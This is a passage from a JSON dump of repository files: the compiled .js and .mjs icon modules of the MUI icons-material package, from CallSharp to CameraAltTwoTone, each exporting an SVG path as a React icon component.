    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 15.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'CallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 15.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'CallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 4 2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10V4zm-4 0H4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3z\"\n}), 'CallSplit');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 4 2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10V4zm-4 0H4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3z\"\n}), 'CallSplit');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 4 2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10V4zm-4 0H4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3z\"\n}), 'CallSplitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 4 2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10V4zm-4 0H4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3z\"\n}), 'CallSplitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.85 4.85 1.44 1.44-2.88 2.88 1.42 1.42 2.88-2.88 1.44 1.44c.31.31.85.09.85-.36V4.5c0-.28-.22-.5-.5-.5h-4.29c-.45 0-.67.54-.36.85M8.79 4H4.5c-.28 0-.5.22-.5.5v4.29c0 .45.54.67.85.35L6.29 7.7 11 12.4V19c0 .55.45 1 1 1s1-.45 1-1v-7c0-.26-.11-.52-.29-.71l-5-5.01 1.44-1.44c.31-.3.09-.84-.36-.84\"\n}), 'CallSplitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.85 4.85 1.44 1.44-2.88 2.88 1.42 1.42 2.88-2.88 1.44 1.44c.31.31.85.09.85-.36V4.5c0-.28-.22-.5-.5-.5h-4.29c-.45 0-.67.54-.36.85M8.79 4H4.5c-.28 0-.5.22-.5.5v4.29c0 .45.54.67.85.35L6.29 7.7 11 12.4V19c0 .55.45 1 1 1s1-.45 1-1v-7c0-.26-.11-.52-.29-.71l-5-5.01 1.44-1.44c.31-.3.09-.84-.36-.84\"\n}), 'CallSplitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 4 2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10V4zm-4 0H4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3z\"\n}), 'CallSplitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 4 2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10V4zm-4 0H4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3z\"\n}), 'CallSplitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-6l2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10zM4 4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3L10 4z\"\n}), 'CallSplitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSplitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-6l2.29 2.29-2.88 2.88 1.42 1.42 2.88-2.88L20 10zM4 4v6l2.29-2.29 4.71 4.7V20h2v-8.41l-5.29-5.3L10 4z\"\n}), 'CallSplitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToAction.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3v-3h18z\"\n}), 'CallToAction');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToAction.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3v-3h18z\"\n}), 'CallToAction');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 15h14v3H5z\"\n}), 'CallToActionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 15h14v3H5z\"\n}), 'CallToActionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H4c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1\"\n}), 'CallToActionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 16H4c-.55 0-1-.45-1-1v-1c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1\"\n}), 'CallToActionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16H3v-3h18z\"\n}), 'CallToActionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v18h22zm-2 16H3v-3h18z\"\n}), 'CallToActionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 19h18V5H3zm2-4h14v3H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 15h14v3H5z\"\n}, \"1\")], 'CallToActionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallToActionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 19h18V5H3zm2-4h14v3H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H3V5h18zM5 15h14v3H5z\"\n}, \"1\")], 'CallToActionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17.47c-.88-.07-1.75-.22-2.6-.45l-1.19 1.19c1.2.41 2.48.67 3.8.75v-1.49zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.24-.84-.39-1.71-.45-2.6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 21c.55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17m-3.6-3.98c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79\"\n}, \"1\")], 'CallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17.47c-.88-.07-1.75-.22-2.6-.45l-1.19 1.19c1.2.41 2.48.67 3.8.75v-1.49zM6.54 5h-1.5c.09 1.32.35 2.59.75 3.8l1.2-1.2c-.24-.84-.39-1.71-.45-2.6\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 21c.55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17m-3.6-3.98c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM5.03 5h1.5c.07.89.22 1.76.46 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79\"\n}, \"1\")], 'CallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Camera.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.4 10.5 4.77-8.26C13.47 2.09 12.75 2 12 2c-2.4 0-4.6.85-6.32 2.25l3.66 6.35zM21.54 9c-.92-2.92-3.15-5.26-6-6.34L11.88 9zm.26 1h-7.49l.29.5 4.76 8.25C21 16.97 22 14.61 22 12c0-.69-.07-1.35-.2-2M8.54 12l-3.9-6.75C3.01 7.03 2 9.39 2 12c0 .69.07 1.35.2 2h7.49zm-6.08 3c.92 2.92 3.15 5.26 6 6.34L12.12 15zm11.27 0-3.9 6.76c.7.15 1.42.24 2.17.24 2.4 0 4.6-.85 6.32-2.25l-3.66-6.35z\"\n}), 'Camera');"
  },
  {
    "path": "packages/mui-icons-material/lib/Camera.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.4 10.5 4.77-8.26C13.47 2.09 12.75 2 12 2c-2.4 0-4.6.85-6.32 2.25l3.66 6.35zM21.54 9c-.92-2.92-3.15-5.26-6-6.34L11.88 9zm.26 1h-7.49l.29.5 4.76 8.25C21 16.97 22 14.61 22 12c0-.69-.07-1.35-.2-2M8.54 12l-3.9-6.75C3.01 7.03 2 9.39 2 12c0 .69.07 1.35.2 2h7.49zm-6.08 3c.92 2.92 3.15 5.26 6 6.34L12.12 15zm11.27 0-3.9 6.76c.7.15 1.42.24 2.17.24 2.4 0 4.6-.85 6.32-2.25l-3.66-6.35z\"\n}), 'Camera');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2 7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'CameraAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3.2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2 7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3.17L15 2zm3 15c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'CameraAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l1.83-2h4.24l1.83 2H20zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'CameraAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l1.83-2h4.24l1.83 2H20zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}), 'CameraAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'CameraAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'CameraAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 4 15 2H9L7.17 4H2v16h20V4zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'CameraAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 4 15 2H9L7.17 4H2v16h20V4zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\")], 'CameraAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 4H9.88L8.05 6H4v12h16V6h-4.05zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l1.83-2h4.24l1.83 2H20zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'CameraAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 4H9.88L8.05 6H4v12h16V6h-4.05zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l1.83-2h4.24l1.83 2H20zM12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3\"\n}, \"1\")], 'CameraAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CameraEnhance.js",
